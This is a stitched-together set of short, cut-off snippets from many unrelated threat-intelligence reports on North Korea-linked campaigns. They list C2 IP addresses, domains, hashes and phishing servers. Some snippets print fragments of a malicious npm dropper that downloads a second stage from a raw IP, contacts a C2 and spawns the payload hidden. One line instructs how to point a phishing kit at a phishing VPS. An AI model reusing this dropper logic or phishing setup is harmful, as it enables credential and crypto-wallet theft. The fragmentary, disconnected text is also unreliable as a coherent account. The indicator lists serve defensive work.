Incident…","…28d0143718153bf04c1919a26bb70c2d 36be2cbb59cd1c3f745d5f80f9aee21c C2 japanroom.com 38.32.68.195 222.122.49.15 이 글 공유하기 Facebook LinkedIn Email…","…Config 파일에 있는 암호화된 C2와 AES로 암호화된 MsWord16.pip파일을 복호화해 C2로 세팅 https://blog.daum .net/casalesmedia/pages/category 14.47.189.243:443 222.122.79.232:8080 222.122.79.232:443 문자열 복호화 로직 복호화 순서 Base64 Decoding 159 (0x9F) XOR C2 파일 복호화 로직 (AES) def…","…[ from decoded powershell script ] 222.122.86.177 Document 2 .hwp file : — 계정기능 제한 안내.hwp hashes: MD5 c155f49f0a9042d6df68fb593968e110 SHA1…","…222.231.2.20 colorncopy.co.kr swr.co.kr LG DACOM Corporation 2025‑03‑18 Compromised South Korean site used to host shellcode.…","…222.231.2.23 sejonghaeun.com IP Manager 2025‑03‑18 Compromised South Korean site used to host clean mono library.…","…222.231.2.41 cndsoft.co.kr IP Manager 2025‑03‑18 Compromised South Korean site used to host shellcode.…","…RokRAT C2 (yandex Cloud Service URL) 6 IP 84.32.131.214 7 IP 222.97.189.148 8 IP 213.180.204.127 9 IP 141.8.156.0/24 10 IP 141.8.157.0/24…","…C2 filedownloadserve.com kakaofilestorage.com navarar.com 108.181.50.58 158.247.219.10 158.247.249.129 141.164.62.19 141.164.60.110 223.104.236.114 175.214.194.61 61.97.243.2 이 글 공유하기 Facebook LinkedIn Email…","…nftp.rf.gd plaza.xo.je gabber.42web.io humimianserver.kesug.com drone.ct.ws 46.4.112.56 192.144.34.77 192.144.34.40 34.203.111.164 223.16.184.105 GO UP BACK TO ALL POSTS POPULAR POSTS Artificial…","…C&Cs gonamod.com siekis.com navernnail.com lowerp.onlinewebshop.net mc.pzs.kr 23.102.122.16 Threat Research Zimperium Latest News…","…poisoning BLOCK / MONITOR 18 151.253.243.219 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 19 23.106.131.214 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 20 173.249.16.192 PHP web shell tooling / upload…","…더불어 C2 서버로 사용된 Passive DNS 아이피 주소(23.106.160.32)가 정확히 일치합니다.…","…BinMergeLoader built as a trojanized NPPHexEditor plugin. Network IP Domain Hosting provider First seen Details 23.111.133.162 coralsunmarine.com HIVELOCITY, Inc.…","…199.26.11.17 209.105.242.64 211.233.13.11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17 Security…","…High - IP 193.160.32.243 High - IP 208.84.100.64 High - IP 23.137.104.77 High - Domain validator.dokamacto.xyz High Dashboard Domain online.dokamacto.xyz…","…US AS4869 Central New Mexico Community College 166.62.39.82 clicktocareers.com US AS26496 GoDaddy.com 23.152.0.232 forecareer.com US AS8100 QuadraNet Enterprises LLC 162.241.219.119 gbflatinamerica.com US AS46606 Unified Layer…","…8080 TCP Whois Queried whois.arin.net with \"n 23.152.0.101\"... NetRange: 23.152.0.0 - 23.152.0.255 CIDR: 23.152.0.0/24 NetName: CROWNCLOUD-V6V4 NetHandle: NET-23-152-0-0-1 Parent: NET23 (NET-23-0-0-0-0) NetType: Direct…","…(TCP) 17.125.250.130:443 (TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443…","…(TCP) 17.250.99.100:443 (TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67…","…(TCP) 17.250.99.79:443 (TCP) 17.253.27.202:443 (TCP) 184.25.164.217:443 (TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443…","…23.254.119.12 Canada ASN55286 B2 Net Solutions Inc. 23.227.196.116 United States ASN35017 Swiftway Sp.…","…3 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware Technologies Linux…","…23.227.199.53 United States ASN35017 Swiftway Sp.…","…Domains and IPs 172.93.184.62 MATA C2 23.227.199.69 MATA C2 104.232.71.7 MATA C2 mnmski.cafe24.com Staging endpoint for the ransomware (personal…","…3 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware Technologies Linux Apple MacOS…","…primerosauxiliosperu.com rentedpushy.com basketsalute.com prontoposer.com IP addresses: 146.19.173.125 23.227.202.54 38.132.124.88 88.119.174.148 198.244.135.250 POOLRAT SHA256 hashes:…","…Three C2 addresses then get extracted and decrypted using DES, with all addresses pointing to the same IP (23.229.111.197) in this sample.…","…10.101.30.127 8b3c8046fa776b70821b7e50baa772a395d3d245c10bdaa4b6171e0c5ce3f717 x64 RAT (3rd stage) RAT-Kaspersky-x64 (TigerRAT) 23.229.111.197 bbddcb280af742ce10842b18b9d7120632cc042a8fe42eed90fc4bc94f2d71ac x64 RAT (3rd stage) RAT-Kaspersky-x64 (TigerRAT) 45.58.112.77…","…from getstockprice.com IP Address 178.128.77.132 trashcrease.com C2 IP Address 131.226.2.43 Anglerstatic.com C2 IP Address 23.236.169.233 goingladies.com C2 IP Address 51.38.145.49:443 Attacker IP IP Address 213.252.232.171:443 Attacker IP IP Address 131.226.2.120:443…","…getstockprice.com , 70.34.245.118 trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com ,…","…43 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443 67.43.239.146:443 68.168.123.86:443 Malware Technologies Linux Apple MacOS Malware Descriptions…","…We have another new IP address ( 23.254.129.6 ) to check out.…","…91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211…","…= '0'; (async () => { try { let downloadUrl = 'https://23.254.164.92:8000/update/49890878'; let c2 = '23.254.164.123:443'; let marker = Buffer.from([0xe5,0xe1,0xf3,0xf9,0xad,0xe4,0xe1,0xf9,0xad,0xea,0xf3]); // Drop breadcrumbs in the temp dir…","…spawn (process.execPath, [file, '23.254.164.123:443' ], { 16 cwd: os.…","…base64-encodes the lot into a JSON beacon. It also establishes persistence disguised as Node tooling and beacons to a separate RAT C2 ( 23.254.164.123/49890878 ) roughly every 10 minutes, using a self-signed wolfSSL test certificate ( CN=www.wolfssl.com , expired January 2018): macOS:…","…and the malicious DLL scdev.dll in the system directory. In the network layer, look for outbound connections to 23.254.164.92 and 23.254.164.123, the primary C2 IPs, and DNS lookups for maskasd.com and teams.onweblive.org.…","…Key decoded strings include the secondary C2 address (23.254.164.123:443), Node.js built-in module references ( node:child_process , node:os ), and file system operations ( writeFileSync , rmSync ). Stage…","…execPath , [ file , '23.254.164.123:443' ], { cwd : os .…","…with BlueNoroff-associated domains within the last 6 months: IPs Copy 104.168.143.111 147.79.103.251 216.107.137.53 23.254.164.232 23.254.204.184 23.254.244.248 23.254.247.32 23.254.247.53 38.110.228.112 38.146.28.252 45.42.40.200 45.42.40.208 5.230.251.49 5.230.252.157…","…active operational infrastructure. SELECT ip, port, malware.name FROM malware WHERE ( ip = '104.168.198.145' OR ip = '23.254.164.50' OR ip = '192.236.146.20' OR ip = '142.11.209.109' OR ip = '192.119.116.231' OR ip = '192.236.233.162' OR ip = '192.236.176.164'…","…verification off, detached spawn, self-delete Identical pattern (see Stage One) Hosting Hostwinds, delivery on port 8000 Hostwinds ( 23.254.164.92:8000 / .123 ), reverse DNS hwsrv-1327786 / hwsrv-1327785.hostwindsdns.com Objective Crypto-wallet credential theft Crypto-wallet…","…is short: it turns off TLS verification so an HTTPS fetch works against a self-signed cert on a raw IP, downloads the real malware from 23.254.164.92 instead of shipping it in the package, runs it as a detached background process with no console output, and then deletes itself.…","…on a raw IP. Writes marker files ( ~/.pkg_history, ~/.pkg_logs ) to track installs. Downloads a second-stage payload from https://23.254.164.92:8000/update/49890878 (Hostwinds-hosted). Writes it to the temp directory and spawns it as a detached, hidden background process with no…","…On first execution, it connected to 23.254.164.92:8000 and downloaded a 41 KB Node.js tasking client. The second-stage payload supported Windows, macOS, and Linux.…","…The dropper issues a GET request to https://23.254.164.92:8000/update/49890878 and reads the response body as text. The second-stage payload is a ~41 KB cross-platform Node.js tasking client.…","…review the manifest, not just the code The build script reassembled a URL from five base64 fragments, which decode to https://23.254.165.112:9089/ , and fetched a platform-specific binary named rust-crate_0.1.0 through rust-crate_0.4.0 for Linux, Windows, and both macOS…","…§ Indicators url https://23.254.165.112:9089/ ip 23.254.165.112 ip 23.254.167.107 ip 23.254.167.216 domain hwsrv-798836.hostwindsdns.com file /tmp/rust-setup file…","…05:34:33 2.57.91.62 47583 AS-HOSTINGER Hostinger International Limited NameSilo, LLC 12 annaelsa.xyz 2026-04-01 15:25:56 23.254.167.21 54290 HOSTWINDS - Hostwinds LLC.…","…Network IP address Domain Hosting provider First seen Details 23.254.211.230 N/A Hostwinds LLC.…","…FastReverseProxy 23.27.140.49:8080 Badcall Host URL 23.27.177.183 Badcall C2 server 23.254.211.230 Badcall C2 server 207.254.22.248:8800 Opendir 149.28.139.62:8080 Opendir 154.216.177.215:8080 Opendir 182.136.123.102:9999 FRP…","…the wallet updater connected to the C2 addresses: wfcwallet.com (resolved ip: 108.174.195.134) www.chainfun365.com (resolved ip: 23.254.217.53) After that, it carries out the malware operator’s commands in order to install the next stage permanent payload.…","…information © 2026 LAC Co., Ltd. Infrastructures 36 94.103.87.212 93.183.93.185 Custom Lilith RAT Hosting technology LTD 91.107.208.93 23.254.225.184 194.68.27.204 GSRAT 116.202.99.218 38.180.249.56 Hetzner Online GmbH M247 Europe SRL 62.113.118.157 • The threat actor abuses…","…Zoom pd.uc05web.us 3/15/2026 3/24/2026 Zoom Pivoting from 83.136.209.22 (which resolved support.teams-live.org ) and IP 23.254.226.83 revealed additional infrastructure including domains for teams-live.org, ms-live.com, teams-live.us, gmeet.cam, gmeet.us.com,…","…2024-03-15 2024-04-09 JavaScript api.coinhar.io 185.62.58.122 2024-03-26 2024-04-09 Python mavenradar.com 23.254.230.253 2024-02-21 2024-03-26 JavaScript indobit.io 146.70.88.126 2024-03-19 2024-03-20 Python api.thaibit.io 79.137.248.193…","…72.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.169.99 45.89.53.…","…The domain hwc-hwp-7982830 in an RDP certificate (port 3389) connects to two other previously-reported DPRK-associated IP addresses: 23.254.244.248 and 23.254.247.32 HTTP Certificate: A certificate with the SHA1 fingerprint 38eaff53184ebca9046c2f10161c664ceb10d0c1 also connects to…","…A record history: the IP address 23.254.247.53 has been associated with DPRK activity before, and Validin noted activity on the nearby IP 23.254.247.32 on X in November 2024 . Figure.…","…a malware SHA256 469fd8a280e89a6edd0d704d0be4c7e0e0d8d753e314e9ce205d7006b573865f netchk malware IP Address 23.254.247.53 Resolved IP for support.us05web-zoom.pro and gumi-cryptos.us05web-zoom.pro IP address 104.168.151.116 Resolved IP for…","…in our project from the previous pivots. The sibling subdomain www.us05web-zoom.biz has interesting A record history: the IP address 23.254.247.53 has been associated with DPRK activity before, and Validin noted activity on the nearby IP 23.254.247.32 on X in November 2024 .…","…- Suspicious file Network indicators 23.27.140.49 23.27.140.135 23.27.140.228 23.27.124.228 amazonfiso.com human-check.com illycoffee.my illycafe.my markethubuk.com sictradingc.com trustpdfs.com zypras.com About the…","…- Suspicious file bedada1c52e9bcceff8c6b542d74518afcce66f955ac6f1ab58aa43b3865fe9f - Suspicious file Network indicators 23.27.140.49 23.27.140.135 23.27.140.228 23.27.124.228 amazonfiso.com human-check.com illycoffee.my illycafe.my markethubuk.com sictradingc.com trustpdfs.com…","…- Suspicious file Network indicators 23.27.140.49 23.27.140.135 23.27.140.228 23.27.124.228 amazonfiso.com human-check.com illycoffee.my illycafe.my markethubuk.com sictradingc.com trustpdfs.com zypras.com…","…access tool, signifying the group's continued evolution in obfuscation and stealth. Using Hunt.io, we tracked one of the IP addresses \" 23.27.140.49 \" that has an open directory on port 8080.…","…C2s: http[://]166.88.11.10/upload/check.asp https[://]tronracing.com/upload/check.asp http[://]23.27.140.49/Onenote/index.asp Conclusion Kimsuky and Lazarus continue to sharpen their tools, showing that DPRK-linked actors aren’t just…","…- Suspicious file bedada1c52e9bcceff8c6b542d74518afcce66f955ac6f1ab58aa43b3865fe9f - Suspicious file Network indicators 23.27.140.49 23.27.140.135 23.27.140.228 23.27.124.228 amazonfiso.com human-check.com illycoffee.my illycafe.my markethubuk.com sictradingc.com…","…One of these, 23.27.177.183 , appears in Hunt.io IP intelligence as Lazarus-linked infrastructure and has been observed in prior Lazarus campaigns. Fig.…","…116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197 23.29.115.171 167.114.188.40 91.234.199.179 By mapping out this infrastructure, it is possible to show the links between the diverse set…","…(TCP) 224.0.0.1 23.198.224.36:443 (TCP) 23.198.226.30:443 (TCP) 23.198.249.163:443 (TCP) 23.44.229.223:443 (TCP) 23.62.216.24:443 (TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443 (TCP) 67.195.204.56:443 (TCP) 67.195.228.56:443 (TCP) 72.21.91.29:80 (TCP) 8.8.8.8:53…","…same threat actor. Attribution to Lazarus APT According to the threat infrastructure mapping done in Prevailion blog , the IP address 23.81.246.131 belongs to one of the critical nodes used by the threat actor during Naver-themed phishing activity.…","…Hard-coded C2 IP： 23.81.246.179 United States ASN19148 Leaseweb USA, Inc.…","…One of them - papers0urce.com - uses an address from Dutch ISP Leaseweb, 23.81.246.179 .…","…size https://explore.silentpush.com/enrichment/ipv4/172.93.201.88 Looking up all A-records of both domains we can uncover new IPs 23.83.133.196 and 108.177.235.82 Press enter or click to view image in full size https://explore.silentpush.com/enrichment/domain/naveeocorp.xyz…","…IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23…","…These include 23.95.213.210 (a known VPS provider used in past credential-stuffing campaigns), 218.92.0.210 (allocated to a Chinese ISP), and 122.114.233.77 (Henan…","…181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256:…","…181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16d…","…is associated with the IP address. 26.165.218.44 Tags command-and-control Ports 2248 TCP Whois NetRange: 26.0.0.0 - 26.255.255.255 CIDR: 26.0.0.0/8 NetName: DISANET26 NetHandle: NET-26-0-0-0-1 Parent: () NetType: Direct Allocation OriginAS: Organization: DoD Network…","…뿐만 아니라, 이번 공격에서 악용된 ‘navearcorps.help’ 서버는 ‘27.102.101.26’ 아이피 주소로 연결되어 있는데, 해당 아이피는 작년 4 월 경 ‘goooglesecurity.com’ 주소를 포함해 ‘naaverascorp.com’, ‘naversinfo.help’, ‘nidnavesecorp.help’,…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/…","…N/A Annie Cho bitcoin016@han mail.net app-wallet.com 91.235.116.144 (RO) Annie Cho bitcoin025@hanmail.net rneail.com 27.102.106.122 (KR) Annie Cho bitcoin018@hanmail.net rnaeil.com 188.241.58.61 (RO) Annie Cho bitcoin018@hanmail.net rnailm.com…","…URL http://13.76.133.68:10443/ http://13.76.133.68:8080/ http://139.177.190.243/update.exe http://27.102.107.224/update.exe http://27.102.107.224:5443/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL http://13.76.133.68:10443/ http://13.76.133.68:8080/ http://139.177.190.243/update.exe http://27.102.107.224/update.exe http://27.102.107.224:5443/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf alps.travelmountain.ml texts.letterpaper.press Analysis of the most recent AppleSeed…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ Gain access to related IOCs and…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ AhnLab TIP 를 구독하시면 연관 IOC 및…","…본 글의 C&C 서버 IP 중 27.102.113.106 을 제외한 전부가 Kimsuky가 반복적으로 사용해 온 아래 두 ASN에 속한다. ASN: 19318 , 26666 XAMPP 기본 인증서와 특정 ASN은 개별적으로는 Kimsuky만의 고유한 지표가 될 수 없으나, 두 요소가 동시에…","…All C&C server IPs in this report, with the exception of 27.102.113.106 , belong to the following two ASNs that Kimsuky has repeatedly used. ASN: 19318 , 26666 Neither the default XAMPP certificate nor…","…142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender 61.97.243.9 160.202.160.248 103.249.28.34 Google Drive URL…","…- KYC_Form.doc C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender 61.97.243.9 160.202.160.248 103.249.28.34…","…natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender 61.97.243.9 160.202.160.248 103.249.28.34 Google Drive URL…","…IOCs tech.micrsofts.com tech.micrsofts.tech 27.102.113.93 185.29.8.53 155.94.208.209 162.19.71.175 201.77.179.66 http://27.102.113.93/inet.txt http[://]162.19.71.175:7443/sonic/bottom.gif ht…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ Gain access to related IOCs and detailed analysis by…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…Here are some of IPs and domains used by the actor for C2 communications: 210.16.120.34 216.189.157.89 45.58.55.73 45.13.135.103 27.102.114.89 210.16.121.137 58.229.208.146 27.102.107.63 download.riseknite.life onedrive-upload.ikpoo.cf alps.travelmountain.ml…","…URL http://103.5.144.50:8000/rev.exe http://27.102.115.154:8000/revsocks.exe https://drive.google.com/uc?export=download&id=1B0Iw3GYJvI-jwpEwY7wJ-8UWBhSTwgD5 IP…","…(KR) Dongil Song bitcoin024@hanmail.net grnaeil.com 160.202.162.78 (KR) Dongil Song bitcoin024@hanmail.net hanrnaii.net 27.102.115.16 (KR) Dongil Song bitcoin024@hanmail.net webrnail.net 185.224.138.172 (NL) Snoopy Nicolai 11baku2017@mail.ru webrnail.com…","…URL http://27.102.102.70:33890/ http://27.102.112.58:33890/ http://27.102.114.79:5500/ http://27.102.114.89:5500/ http://27.102.127.240:5500/ Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the…","…Huntress의 보고서에는 구체적인 악성코드는 언급되어 있지 않지만 CVE-2023-46604 취약점 공격을 통해 “http://27.102.128.152:8098/bit.ico” URL에서 악성 페이로드를 설치하는 사례도 소개하였다. 이 주소는 이전 블로그에서도 언급된 URL로서 TigerRat이 다운로드된 주소이다.…","…no specific malware was mentioned in the Huntress report, a case was covered where a malicious payload was installed from the URL “http://27.102.128.152:8098/bit.ico” through exploitation of the CVE-2023-46604 vulnerability.…","…glaed-hotel.com 49.1.238.247 (KR-DLIVE) 172.67.177.152 104.21.43.94 campaign2-nid.com 27.102.130.92 (KR-DAOU) 172.67.168.65 104.21.26.97 kyf-dream.com 124.5.163.111 (KR-DLIVE) 112.214.236.86…","…181 caption - IPs with the Same JARM Hash Among the identified C&C servers, we discovered a phishing site hosted at 27.102.137.106 distributing the malicious “옥션 ” (“Auction”) application.…","…f73e07efb8707e3561e9cbff74557acb C2 112.216.9.171 170.205.29.83 170.205.30.227 185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com…","…⚫ http://158.247.238.232/style/display.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫ http://27.102.137.13/member/list.php AhnLab Cyber Threat Intelligence Report AhnLab, Inc. 220, Pangyoyeok-ro, Bundang-gu, Seongnam-si,…","…Port ASN Organization 118.194.248.246 443 AS135377 UCloud HK 152.32.243.178 80 AS135377 UCloud HK 101.36.114.66 80 — Korea 27.102.137.140 80 AS45996 DAOU Technology 152.32.138.146 443 AS135377 UCloud HK 118.194.248.134 443 AS135377 UCloud HK 118.193.69.19 443 AS135377…","…DAOU Staging Server (27.102.137.38 — 37 domains) ## The Fast-Flux Farm (118.194.249.109 — 40 domains) ## The Naver Phishing Farm (27.102.137.150 — 12+ domains, LIVE) # Related Kimsuky Sample # Detection Guidance ## Network Signatures ## Host Indicators ## YARA # IOC…","…f73e07efb8707e3561e9cbff74557acb C2 112.216.9.171 170.205.29.83 170.205.30.227 185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com awed33@outlook.kr…","…This investigation revealed additional infrastructure utilized by the threat actor, including 27.102.137.180, which served as the C&C server for the fake Airdrop application.…","…Malicious App Distribution Path We confirmed that the malicious application was distributed from 27.102.137.181, leveraging a QR code that impersonated a legitimate package delivery service.…","…- delivery.html 506e136336ca9d7246caf8c9011fe97e - login.html C&C 27.102.137.106 27.102.137.181 27.102.137.93 27.102.137.214 27.102.138.163 27.102.137.180 27.102.138.181 Appendix C.…","…# Stage 3: Full Keylogger (6,234 bytes PowerShell) # Infrastructure: 79 Domains Across 5 IPs ## The DAOU Staging Server (27.102.137.38 — 37 domains) ## The Fast-Flux Farm (118.194.249.109 — 40 domains) ## The Naver Phishing Farm (27.102.137.150 — 12+ domains, LIVE)…","…図9: DllHandlerクラスのコンストラクタ (難読化を解除した状態) 解析の結果、今回観測したMoonPeakは以下のような設定情報を有していました。 Mutex名: Dansweit_Hk65-PSAccerdle 8 C2サーバ: 27.102.137.88:443 機能や仕様等は2025年8月に公開されたTrellixのレポート内で観測・報告されたMoonPeakから大きく変化しておらず、脅威アクターは同一手法およびマルウェアを使用し続けていると考えられます。 The Coordinated Embassy Hunt:…","…80 AS135377 UCloud HK 167.88.166.204 443 — — 118.194.248.183 80 AS135377 UCloud HK 152.32.243.215 80 AS135377 UCloud HK 27.102.138.125 — AS45996 DAOU Technology 118.194.249.109 — AS135377 UCloud HK 101.36.114.231 443 — — Fourteen C2 servers.…","…- login.html C&C 27.102.137.106 27.102.137.181 27.102.137.93 27.102.137.214 27.102.138.163 27.102.137.180 27.102.138.181 Appendix C.…","…Kakao Phishing Site We confirmed the presence of Kakao phishing sites at the ”/login” path on 27.102.137.180 and 27.102.138.181. caption - Kakao login phishing screen Similar to the Naver phishing setup, these sites load content via a proxy.…","…C2 112.216.9.171 170.205.29.83 170.205.30.227 185.27.134.140 27.102.137.126 27.102.137.159 27.102.138.44 Domain stoks.great-site.net Email apollo1030109@gmail.com awed33@outlook.kr belendong40@gmail.com…","…back to our previously published Kimsuky investigation — the C2 staging server at 27.102.137.38 sits in the same /16 subnet as 27.102.138.45 (the uncork.biz phishing node from the udalyonka cluster), linking these two campaigns to the same operational cell. What this report…","…https://goodrichcardirect.com/logo.png ⚫ http://141.164.61.90/file/config.php ⚫ http://158.247.232.35/bbns/bbns.php ⚫ http://27.102.138.60/user/admin.php ⚫ http://158.247.206.214/articles/list.php ⚫ https://cloudcontents.info/common/list_view/?id=20245934 ⚫…","…Gmail, Outlook, Hotmail, Proton, GMX, 163, Skiff, Protonmail, and Yopmail services. Transaction IP addresses 5.226.137.4 27.109.114.188 37.120.151.162 37.140.254.144 37.140.254.189 45.128.199.27 45.8.25.82 45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216…","…한국의 이호스트아이씨티 호스팅이 사용된 이력을 확인할 수 있습니다. 도메인 주소 아이피 주소 국가 코드 호스팅 akites.site 159.100.29.38 독일[DE] Firstcolo GmbH 27.255.75.153 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.73 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict…","…도메인 주소를 살펴보면 몇가지 새로운 주소가 더 확인됩니다. 도메인 주소 아이피 주소 국가 코드 호스팅 civilarys.store 27.255.75.153 한국[KR] Ehostict 27.255.75.158 한국[KR] Ehostict 27.255.81.111 한국[KR] Ehostict 27.255.81.113 한국[KR] Ehostict 27.255.81.77 한국[KR] Ehostict…","…access valuable insights and contribute to the collective effort in combating cyber threats. IOC's IP Address 45.195.69.28 27.255.75.158 Domains binace.homes account.binace.homes support.binace.homes kidsmanagement-pa.client6.binace.homes…","…- servicenidnaver.com - 27.255.77.110 (KR) - 27.255.79.205 (KR) - 211.104.160.84 (KR) - 211.104.160.88 (KR) [그림 4] 대북분야 관계자에게 시도된 해킹 이메일 화면 ◇…","…Seung Hak Hyun rninchurl@daum.net files-download.net 91.235.116.232 (RO) Seung Hak Hyun rninchurl@daum.net down-error.com 27.255.77.111 (KR) Seung Hak Hyun rninchurl@daum.n et rnail-inbox.com 27.255.77.111 (KR) Start New h snewstart1013@gmail.com…","…(JP) Annie Cho bitcoin025@hanmail.net naerver.com 27.102.106.122 (KR) Annie Cho bitcoin025@hanmail.net rnaii.com 27.255.79.205 (KR) Dongil Song bitcoin024@hanmail.net grnaeil.com 160.202.162.78 (KR) Dongil Song bitcoin024@hanmail.net hanrnaii.net…","…- servicenidnaver.com - 27.255.77.110 (KR) - 27.255.79.205 (KR) - 211.104.160.84 (KR) - 211.104.160.88 (KR) [그림 4] 대북분야 관계자에게 시도된 해킹 이메일 화면 ◇ 탈륨(Thallium) 조직과 동일한 서버 인프라를 공유하는…","…One of the C2 domains of KoSpy, st0746.net, resolves 3 to the IP address 27.255.79.225 located in South Korea.…","…The C2 domain st0746.net resolves to the IP 27.255.79.225 in South Korea, previously tied to domains like naverfiles.com and mailcorp.center, associated with the Konni RAT used by Ricochet…","…84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store Share this post…","…80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162 nmailhostserver.store 210.92.18.169 91.194.161.109 nsonlines.store","…--manual --preferred-challenges dns-01 --server <https://acme-v02.api.letsencrypt.org/directory> In forward.conf, replace `Require ip 27.255.80.170` with the phishing VPS address In default-ssl.conf, replace `/etc/letsencrypt/live/nid-security.com/` with the path to your own generated…","…해당 도메인은 2024년 11월 5일에 안랩 Operation Covert Stalker 보고서 에서 언급된 ip(27.255.80.170)와 연결된 이력이 있고, 이 ip는 work/mnt/hgfs/Desktop/New folder/readme.txt 에서 확인할 수 